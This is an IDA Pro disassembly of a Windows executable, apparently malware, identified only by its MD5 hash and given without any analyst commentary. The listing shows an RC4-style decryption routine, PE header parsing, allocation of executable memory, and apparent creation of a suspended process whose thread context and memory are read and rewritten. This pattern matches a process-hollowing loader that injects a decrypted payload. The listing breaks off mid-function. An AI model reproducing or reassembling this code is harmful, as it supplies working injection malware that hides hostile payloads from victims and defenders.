;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : BCDF9CCD486E95FA45730B2E6517DFF9
; File Name : u:\work\bcdf9ccd486e95fa45730b2e6517dff9_orig.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00002121 ( 8481.)
; Section size in file : 00003000 ( 12288.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_401050+14p
; sub_4012B0+15p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push edi
mov eax, [ebp+arg_0]
imul eax, [ebp+arg_4]
push eax ; dwBytes
push 0 ; uFlags
call ds:GlobalAlloc ; GlobalAlloc
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
imul ecx, [ebp+arg_0]
xor eax, eax
mov edi, [ebp+var_4]
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov eax, [ebp+var_4]
pop edi
mov esp, ebp
pop ebp
retn
sub_401000 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_401040(HGLOBAL hMem)
sub_401040 proc near ; CODE XREF: sub_401A30+2A8p
hMem = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+hMem]
push eax ; hMem
call ds:GlobalFree ; GlobalFree
pop ebp
retn
sub_401040 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401050 proc near ; CODE XREF: sub_402150+11p
; sub_402150+49p ...
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
var_100 = byte ptr -100h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 118h
push ebx
push edi
push 1
mov eax, [ebp+arg_8]
imul eax, 0Ah
push eax
call sub_401000
add esp, 8
mov [ebp+var_118], eax
cmp [ebp+var_118], 0
jnz short loc_401082
xor eax, eax
jmp loc_4012A8
; ---------------------------------------------------------------------------
loc_401082: ; CODE XREF: sub_401050+29j
mov [ebp+var_114], 0
jmp short loc_40109D
; ---------------------------------------------------------------------------
loc_40108E: ; CODE XREF: sub_401050+6Cj
mov ecx, [ebp+var_114]
add ecx, 1
mov [ebp+var_114], ecx
loc_40109D: ; CODE XREF: sub_401050+3Cj
cmp [ebp+var_114], 0FFh
jg short loc_4010BE
mov edx, [ebp+var_114]
mov al, byte ptr [ebp+var_114]
mov [ebp+edx+var_100], al
jmp short loc_40108E
; ---------------------------------------------------------------------------
loc_4010BE: ; CODE XREF: sub_401050+57j
mov [ebp+var_110], 0
mov [ebp+var_108], 0
jmp short loc_4010E3
; ---------------------------------------------------------------------------
loc_4010D4: ; CODE XREF: sub_401050+130j
mov ecx, [ebp+var_108]
add ecx, 1
mov [ebp+var_108], ecx
loc_4010E3: ; CODE XREF: sub_401050+82j
cmp [ebp+var_108], 0FFh
jg loc_401185
mov edi, [ebp+arg_0]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 0FFFFFFFFh
mov eax, [ebp+var_108]
xor edx, edx
div ecx
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax+edx]
mov edx, [ebp+var_108]
xor eax, eax
mov al, [ebp+edx+var_100]
mov edx, [ebp+var_110]
add edx, ecx
add eax, edx
and eax, 800000FFh
jns short loc_40113A
dec eax
or eax, 0FFFFFF00h
inc eax
loc_40113A: ; CODE XREF: sub_401050+E1j
mov [ebp+var_110], eax
mov eax, [ebp+var_108]
mov cl, [ebp+eax+var_100]
mov [ebp+var_104], cl
mov edx, [ebp+var_108]
mov eax, [ebp+var_110]
mov cl, [ebp+eax+var_100]
mov [ebp+edx+var_100], cl
mov edx, [ebp+var_110]
mov al, [ebp+var_104]
mov [ebp+edx+var_100], al
jmp loc_4010D4
; ---------------------------------------------------------------------------
loc_401185: ; CODE XREF: sub_401050+9Dj
mov [ebp+var_108], 0
mov [ebp+var_110], 0
mov [ebp+var_108], 0
jmp short loc_4011B4
; ---------------------------------------------------------------------------
loc_4011A5: ; CODE XREF: sub_401050+24Dj
mov ecx, [ebp+var_108]
add ecx, 1
mov [ebp+var_108], ecx
loc_4011B4: ; CODE XREF: sub_401050+153j
mov edx, [ebp+var_108]
cmp edx, [ebp+arg_8]
jge loc_4012A2
mov eax, [ebp+var_108]
and eax, 800000FFh
jns short loc_4011D7
dec eax
or eax, 0FFFFFF00h
inc eax
loc_4011D7: ; CODE XREF: sub_401050+17Ej
mov [ebp+var_10C], eax
mov ecx, [ebp+var_10C]
xor edx, edx
mov dl, [ebp+ecx+var_100]
add edx, [ebp+var_110]
and edx, 800000FFh
jns short loc_401202
dec edx
or edx, 0FFFFFF00h
inc edx
loc_401202: ; CODE XREF: sub_401050+1A8j
mov [ebp+var_110], edx
mov eax, [ebp+var_10C]
mov cl, [ebp+eax+var_100]
mov [ebp+var_104], cl
mov edx, [ebp+var_10C]
mov eax, [ebp+var_110]
mov cl, [ebp+eax+var_100]
mov [ebp+edx+var_100], cl
mov edx, [ebp+var_110]
mov al, [ebp+var_104]
mov [ebp+edx+var_100], al
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_108]
movsx edx, byte ptr [ecx]
mov eax, [ebp+var_10C]
xor ecx, ecx
mov cl, [ebp+eax+var_100]
mov eax, [ebp+var_110]
xor ebx, ebx
mov bl, [ebp+eax+var_100]
add ecx, ebx
and ecx, 800000FFh
jns short loc_401284
dec ecx
or ecx, 0FFFFFF00h
inc ecx
loc_401284: ; CODE XREF: sub_401050+22Aj
xor eax, eax
mov al, [ebp+ecx+var_100]
xor edx, eax
mov ecx, [ebp+var_118]
add ecx, [ebp+var_108]
mov [ecx], dl
jmp loc_4011A5
; ---------------------------------------------------------------------------
loc_4012A2: ; CODE XREF: sub_401050+16Dj
mov eax, [ebp+var_118]
loc_4012A8: ; CODE XREF: sub_401050+2Dj
pop edi
pop ebx
mov esp, ebp
pop ebp
retn
sub_401050 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4012B0 proc near ; CODE XREF: start+E3p
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
shl eax, 4
mov [ebp+var_4], eax
push 1
mov ecx, [ebp+var_4]
push ecx
call sub_401000
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_4012DA
xor eax, eax
jmp short loc_401309
; ---------------------------------------------------------------------------
loc_4012DA: ; CODE XREF: sub_4012B0+24j
lea edx, [ebp+var_8]
push edx
lea eax, [ebp+var_C]
push eax
push 2
call dword_40529C
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_10]
push edx
push 2
call dword_405288
mov eax, [ebp+var_10]
loc_401309: ; CODE XREF: sub_4012B0+28j
mov esp, ebp
pop ebp
retn
sub_4012B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401310 proc near ; CODE XREF: sub_401330+15p
; sub_401330+ACp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
lea eax, [ecx+eax-1]
xor edx, edx
div [ebp+arg_4]
imul eax, [ebp+arg_4]
pop ebp
retn
sub_401310 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401330 proc near ; CODE XREF: sub_401490+B2p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push esi
mov eax, [ebp+arg_8]
mov ecx, [eax+38h]
push ecx
mov edx, [ebp+arg_8]
mov eax, [edx+54h]
push eax
call sub_401310
add esp, 8
mov [ebp+var_4], eax
mov [ebp+var_8], 0
jmp short loc_401362
; ---------------------------------------------------------------------------
loc_401359: ; CODE XREF: sub_401330:loc_401480j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_401362: ; CODE XREF: sub_401330+27j
mov edx, [ebp+arg_8]
xor eax, eax
mov ax, [edx+6]
cmp [ebp+var_8], eax
jge loc_401485
mov ecx, [ebp+var_8]
imul ecx, 28h
mov edx, [ebp+var_8]
imul edx, 28h
mov eax, [ebp+arg_C]
mov ecx, [eax+ecx+14h]
mov eax, [ebp+arg_C]
add ecx, [eax+edx+10h]
cmp ecx, [ebp+arg_4]
jbe short loc_40139A
xor eax, eax
jmp loc_401488
; ---------------------------------------------------------------------------
loc_40139A: ; CODE XREF: sub_401330+61j
mov ecx, [ebp+var_8]
imul ecx, 28h
mov edx, [ebp+arg_C]
cmp dword ptr [edx+ecx+0Ch], 0
jz short loc_401418
mov eax, [ebp+var_8]
imul eax, 28h
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx+eax+8], 0
jz short loc_4013E9
mov edx, [ebp+arg_8]
mov eax, [edx+38h]
push eax
mov ecx, [ebp+var_8]
imul ecx, 28h
mov edx, [ebp+var_8]
imul edx, 28h
mov eax, [ebp+arg_C]
mov ecx, [eax+ecx+0Ch]
mov eax, [ebp+arg_C]
add ecx, [eax+edx+8]
push ecx
call sub_401310
add esp, 8
mov [ebp+var_4], eax
jmp short loc_401416
; ---------------------------------------------------------------------------
loc_4013E9: ; CODE XREF: sub_401330+88j
mov ecx, [ebp+arg_8]
mov edx, [ecx+38h]
push edx
mov eax, [ebp+var_8]
imul eax, 28h
mov ecx, [ebp+var_8]
imul ecx, 28h
mov edx, [ebp+arg_C]
mov eax, [edx+eax+0Ch]
mov edx, [ebp+arg_C]
add eax, [edx+ecx+10h]
push eax
call sub_401310
add esp, 8
mov [ebp+var_4], eax
loc_401416: ; CODE XREF: sub_401330+B7j
jmp short loc_401480
; ---------------------------------------------------------------------------
loc_401418: ; CODE XREF: sub_401330+78j
mov eax, [ebp+var_8]
imul eax, 28h
mov ecx, [ebp+var_8]
imul ecx, 28h
mov edx, [ebp+arg_C]
mov esi, [ebp+arg_C]
mov eax, [edx+eax+8]
cmp eax, [esi+ecx+10h]
jnb short loc_40145B
mov ecx, [ebp+arg_8]
mov edx, [ecx+38h]
push edx
mov eax, [ebp+var_8]
imul eax, 28h
mov ecx, [ebp+arg_C]
mov edx, [ecx+eax+8]
push edx
call sub_401310
add esp, 8
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
jmp short loc_401480
; ---------------------------------------------------------------------------
loc_40145B: ; CODE XREF: sub_401330+102j
mov edx, [ebp+arg_8]
mov eax, [edx+38h]
push eax
mov ecx, [ebp+var_8]
imul ecx, 28h
mov edx, [ebp+arg_C]
mov eax, [edx+ecx+8]
push eax
call sub_401310
add esp, 8
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
loc_401480: ; CODE XREF: sub_401330:loc_401416j
; sub_401330+129j
jmp loc_401359
; ---------------------------------------------------------------------------
loc_401485: ; CODE XREF: sub_401330+3Ej
mov eax, [ebp+var_4]
loc_401488: ; CODE XREF: sub_401330+65j
pop esi
mov esp, ebp
pop ebp
retn
sub_401330 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401490 proc near ; CODE XREF: sub_401CF0+25p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov eax, [ebp+arg_0]
mov [ebp+var_18], eax
cmp [ebp+arg_4], 40h
jnb short loc_4014AA
xor eax, eax
jmp loc_401779
; ---------------------------------------------------------------------------
loc_4014AA: ; CODE XREF: sub_401490+11j
mov ecx, [ebp+var_18]
xor edx, edx
mov dx, [ecx]
cmp edx, 5A4Dh
jz short loc_4014C1
xor eax, eax
jmp loc_401779
; ---------------------------------------------------------------------------
loc_4014C1: ; CODE XREF: sub_401490+28j
mov eax, [ebp+var_18]
mov ecx, [eax+3Ch]
add ecx, 0F8h
cmp [ebp+arg_4], ecx
jge short loc_4014D9
xor eax, eax
jmp loc_401779
; ---------------------------------------------------------------------------
loc_4014D9: ; CODE XREF: sub_401490+40j
mov edx, [ebp+var_18]
mov eax, [ebp+var_18]
add eax, [edx+3Ch]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx], 4550h
jz short loc_4014F7
xor eax, eax
jmp loc_401779
; ---------------------------------------------------------------------------
loc_4014F7: ; CODE XREF: sub_401490+5Ej
mov edx, [ebp+var_8]
xor eax, eax
mov ax, [edx+16h]
and eax, 2000h
test eax, eax
jnz short loc_40151F
xor ecx, ecx
test ecx, ecx
jnz short loc_40151F
mov edx, [ebp+var_8]
xor eax, eax
mov ax, [edx+14h]
cmp eax, 0E0h
jz short loc_401526
loc_40151F: ; CODE XREF: sub_401490+77j
; sub_401490+7Dj
xor eax, eax
jmp loc_401779
; ---------------------------------------------------------------------------
loc_401526: ; CODE XREF: sub_401490+8Dj
mov ecx, [ebp+var_8]
add ecx, 0F8h
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+var_18]
push edx
call sub_401330
add esp, 10h
mov ecx, [ebp+arg_14]
mov [ecx], eax
mov edx, [ebp+arg_14]
cmp dword ptr [edx], 0
jnz short loc_40155E
xor eax, eax
jmp loc_401779
; ---------------------------------------------------------------------------
loc_40155E: ; CODE XREF: sub_401490+C5j
push 40h
push 1000h
mov eax, [ebp+arg_14]
mov ecx, [eax]
push ecx
push 0
call dword_4052FC
mov edx, [ebp+arg_10]
mov [edx], eax
mov eax, [ebp+arg_10]
cmp dword ptr [eax], 0
jz loc_401774
mov ecx, [ebp+var_8]
mov edx, [ecx+54h]
mov [ebp+var_14], edx
mov [ebp+var_10], 0
jmp short loc_40159F
; ---------------------------------------------------------------------------
loc_401596: ; CODE XREF: sub_401490:loc_4015DFj
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_40159F: ; CODE XREF: sub_401490+104j
mov ecx, [ebp+var_8]
xor edx, edx
mov dx, [ecx+6]
cmp [ebp+var_10], edx
jge short loc_4015E1
mov eax, [ebp+var_10]
imul eax, 28h
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+eax+14h], 0
jz short loc_4015DF
mov edx, [ebp+var_10]
imul edx, 28h
mov eax, [ebp+var_4]
mov ecx, [eax+edx+14h]
cmp ecx, [ebp+var_14]
jnb short loc_4015DF
mov edx, [ebp+var_10]
imul edx, 28h
mov eax, [ebp+var_4]
mov ecx, [eax+edx+14h]
mov [ebp+var_14], ecx
loc_4015DF: ; CODE XREF: sub_401490+12Bj
; sub_401490+13Dj
jmp short loc_401596
; ---------------------------------------------------------------------------
loc_4015E1: ; CODE XREF: sub_401490+11Bj
mov edx, [ebp+var_14]
push edx
mov eax, [ebp+var_18]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx]
push edx
call sub_402910
add esp, 0Ch
mov eax, [ebp+arg_10]
mov ecx, [eax]
mov edx, [ebp+arg_10]
mov eax, [edx]
add eax, [ecx+3Ch]
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 0F8h
mov ecx, [ebp+arg_C]
mov [ecx], eax
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [eax+38h]
push ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [eax+54h]
push ecx
call sub_401310
add esp, 8
mov edx, [ebp+arg_10]
mov ecx, [edx]
add ecx, eax
mov [ebp+var_C], ecx
mov [ebp+var_10], 0
jmp short loc_40164E
; ---------------------------------------------------------------------------
loc_401645: ; CODE XREF: sub_401490:loc_40176Fj
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
loc_40164E: ; CODE XREF: sub_401490+1B3j
mov eax, [ebp+arg_8]
mov ecx, [eax]
xor edx, edx
mov dx, [ecx+6]
cmp [ebp+var_10], edx
jge loc_401774
mov eax, [ebp+var_10]
imul eax, 28h
mov ecx, [ebp+arg_C]
mov edx, [ecx]
cmp dword ptr [edx+eax+0Ch], 0
jz short loc_40168B
mov eax, [ebp+var_10]
imul eax, 28h
mov ecx, [ebp+arg_C]
mov edx, [ecx]
mov ecx, [ebp+arg_10]
mov ecx, [ecx]
add ecx, [edx+eax+0Ch]
mov [ebp+var_C], ecx
loc_40168B: ; CODE XREF: sub_401490+1E2j
mov edx, [ebp+var_10]
imul edx, 28h
mov eax, [ebp+arg_C]
mov ecx, [eax]
cmp dword ptr [ecx+edx+10h], 0
jz loc_401746
mov edx, [ebp+var_10]
imul edx, 28h
mov eax, [ebp+arg_C]
mov ecx, [eax]
mov edx, [ecx+edx+10h]
push edx
mov eax, [ebp+var_10]
imul eax, 28h
mov ecx, [ebp+arg_C]
mov edx, [ecx]
mov ecx, [ebp+var_18]
add ecx, [edx+eax+14h]
push ecx
mov edx, [ebp+var_C]
push edx
call sub_402910
add esp, 0Ch
mov eax, [ebp+var_10]
imul eax, 28h
mov ecx, [ebp+arg_C]
mov edx, [ecx]
mov ecx, [ebp+var_10]
imul ecx, 28h
mov esi, [ebp+arg_C]
mov esi, [esi]
mov edx, [edx+eax+8]
cmp edx, [esi+ecx+10h]
jnb short loc_40171B
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov edx, [ecx+38h]
push edx
mov eax, [ebp+var_10]
imul eax, 28h
mov ecx, [ebp+arg_C]
mov edx, [ecx]
mov eax, [edx+eax+10h]
push eax
call sub_401310
add esp, 8
mov ecx, [ebp+var_C]
add ecx, eax
mov [ebp+var_C], ecx
jmp short loc_401744
; ---------------------------------------------------------------------------
loc_40171B: ; CODE XREF: sub_401490+25Ej
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [eax+38h]
push ecx
mov edx, [ebp+var_10]
imul edx, 28h
mov eax, [ebp+arg_C]
mov ecx, [eax]
mov edx, [ecx+edx+8]
push edx
call sub_401310
add esp, 8
mov ecx, [ebp+var_C]
add ecx, eax
mov [ebp+var_C], ecx
loc_401744: ; CODE XREF: sub_401490+289j
jmp short loc_40176F
; ---------------------------------------------------------------------------
loc_401746: ; CODE XREF: sub_401490+20Bj
mov edx, [ebp+arg_8]
mov eax, [edx]
mov ecx, [eax+38h]
push ecx
mov edx, [ebp+var_10]
imul edx, 28h
mov eax, [ebp+arg_C]
mov ecx, [eax]
mov edx, [ecx+edx+8]
push edx
call sub_401310
add esp, 8
mov ecx, [ebp+var_C]
add ecx, eax
mov [ebp+var_C], ecx
loc_40176F: ; CODE XREF: sub_401490:loc_401744j
jmp loc_401645
; ---------------------------------------------------------------------------
loc_401774: ; CODE XREF: sub_401490+EEj
; sub_401490+1CCj
mov eax, 1
loc_401779: ; CODE XREF: sub_401490+15j
; sub_401490+2Cj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_401490 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401780 proc near ; CODE XREF: sub_4017A0+17p
; sub_401A30:loc_401AFEp
push ebp
mov ebp, esp
xor eax, eax
cmp dword_4052E0, 0
setnz al
pop ebp
retn
sub_401780 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4017A0(LPCSTR lpString2)
sub_4017A0 proc near ; CODE XREF: sub_401A30+22p
lpString1 = dword ptr -4
lpString2 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push edi
push 1
push 100h
call sub_401000
add esp, 8
mov [ebp+lpString1], eax
call sub_401780
test eax, eax
jz short loc_4017F0
mov ecx, 40h
xor eax, eax
mov edi, [ebp+lpString1]
rep stosd
push 100h
mov eax, [ebp+lpString1]
push eax
push 0
call dword_4052C0
mov ecx, [ebp+lpString2]
push ecx ; lpString2
mov edx, [ebp+lpString1]
push edx ; lpString1
call ds:lstrcatA ; lstrcatA
mov eax, [ebp+lpString1]
jmp short loc_4017F2
; ---------------------------------------------------------------------------
loc_4017F0: ; CODE XREF: sub_4017A0+1Ej
xor eax, eax
loc_4017F2: ; CODE XREF: sub_4017A0+4Ej
pop edi
mov esp, ebp
pop ebp
retn
sub_4017A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401800 proc near ; CODE XREF: sub_401A30+127p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+0A0h], 0
jz short loc_401825
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+0A4h], 0
jz short loc_401825
mov [ebp+var_4], 1
jmp short loc_40182C
; ---------------------------------------------------------------------------
loc_401825: ; CODE XREF: sub_401800+Ej
; sub_401800+1Aj
mov [ebp+var_4], 0
loc_40182C: ; CODE XREF: sub_401800+23j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_401800 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401840 proc near ; CODE XREF: sub_401A30+16Bp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
sub ecx, [eax+34h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
add eax, [edx+0A0h]
mov [ebp+var_4], eax
loc_401861: ; CODE XREF: sub_401840+99j
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov eax, [ebp+var_4]
add edx, [eax+4]
test edx, edx
jz short loc_4018DB
mov ecx, [ebp+var_4]
add ecx, 8
mov [ebp+var_14], ecx
mov [ebp+var_10], 1
jmp short loc_40188B
; ---------------------------------------------------------------------------
loc_401882: ; CODE XREF: sub_401840+91j
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
loc_40188B: ; CODE XREF: sub_401840+40j
mov eax, [ebp+var_4]
mov ecx, [eax+4]
sub ecx, 8
shr ecx, 1
cmp [ebp+var_10], ecx
ja short loc_4018D3
xor edx, edx
test edx, edx
jz short loc_4018C8
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
add ecx, [eax]
mov edx, [ebp+var_14]
xor eax, eax
mov ax, [edx]
and eax, 0FFFh
add ecx, eax
mov [ebp+var_C], ecx
mov ecx, [ebp+var_C]
mov edx, [ecx]
add edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov [eax], edx
loc_4018C8: ; CODE XREF: sub_401840+5Fj
mov ecx, [ebp+var_14]
add ecx, 2
mov [ebp+var_14], ecx
jmp short loc_401882
; ---------------------------------------------------------------------------
loc_4018D3: ; CODE XREF: sub_401840+59j
mov edx, [ebp+var_14]
mov [ebp+var_4], edx
jmp short loc_401861
; ---------------------------------------------------------------------------
loc_4018DB: ; CODE XREF: sub_401840+2Ej
mov esp, ebp
pop ebp
retn
sub_401840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018E0 proc near ; CODE XREF: sub_401A30+E9p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
push offset LibFileName ; "ntdll.dll"
call ds:LoadLibraryA ; LoadLibraryA
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_401921
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_405294
neg eax
sbb eax, eax
inc eax
mov [ebp+var_4], eax
mov edx, [ebp+var_8]
push edx
call dword_405298
loc_401921: ; CODE XREF: sub_4018E0+1Fj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_4018E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401930 proc near ; CODE XREF: sub_401A30+6Cp
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
var_74 = dword ptr -74h
var_30 = byte ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 7Ch
push edi
mov ecx, 11h
xor eax, eax
lea edi, [ebp+var_74]
rep stosd
xor eax, eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov [ebp+var_74], 44h
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_74]
push edx
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, [ebp+arg_0]
push eax
push 0
call dword_4052A8
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jz loc_401A22
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_10]
mov [ecx], edx
mov eax, [ebp+arg_C]
mov ecx, [ebp+var_C]
mov [eax], ecx
mov edx, [ebp+arg_10]
mov eax, [ebp+var_8]
mov [edx], eax
mov ecx, [ebp+arg_4]
mov dword ptr [ecx], 10007h
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
push ecx
call dword_40528C
lea edx, [ebp+var_78]
push edx
push 4
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+0A4h]
add edx, 8
push edx
mov eax, [ebp+arg_8]
mov ecx, [eax]
push ecx
call dword_4052AC
mov edx, [ebp+arg_14]
mov eax, [edx]
mov [ebp+var_7C], eax
loc_4019E1: ; CODE XREF: sub_401930+E3j
push 1Ch
lea ecx, [ebp+var_30]
push ecx
mov edx, [ebp+var_7C]
push edx
mov eax, [ebp+arg_8]
mov ecx, [eax]
push ecx
call dword_4052B4
test eax, eax
jz short loc_401A15
mov [ebp+var_20], 10000h
cmp [ebp+var_20], 0
jz short loc_401A0A
jmp short loc_401A15
; ---------------------------------------------------------------------------
loc_401A0A: ; CODE XREF: sub_401930+D6j
mov edx, [ebp+var_7C]
add edx, [ebp+var_24]
mov [ebp+var_7C], edx
jmp short loc_4019E1
; ---------------------------------------------------------------------------
loc_401A15: ; CODE XREF: sub_401930+C9j
; sub_401930+D8j
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_7C]
sub ecx, [eax]
mov edx, [ebp+arg_18]
mov [edx], ecx
loc_401A22: ; CODE XREF: sub_401930+4Fj
mov eax, [ebp+var_14]
pop edi
mov esp, ebp
pop ebp
retn
sub_401930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_401A30(LPCSTR lpString2, int, int, int, int, int)
sub_401A30 proc near ; CODE XREF: sub_401CF0+49p
var_2E8 = byte ptr -2E8h
var_2E4 = dword ptr -2E4h
var_2E0 = dword ptr -2E0h
var_2DC = dword ptr -2DCh
hMem = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_230 = dword ptr -230h
var_224 = dword ptr -224h
var_8 = dword ptr -8
var_4 = dword ptr -4
lpString2 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 2E8h
mov [ebp+var_2DC], 0FFFFFFFFh
mov eax, [ebp+arg_10]
push eax
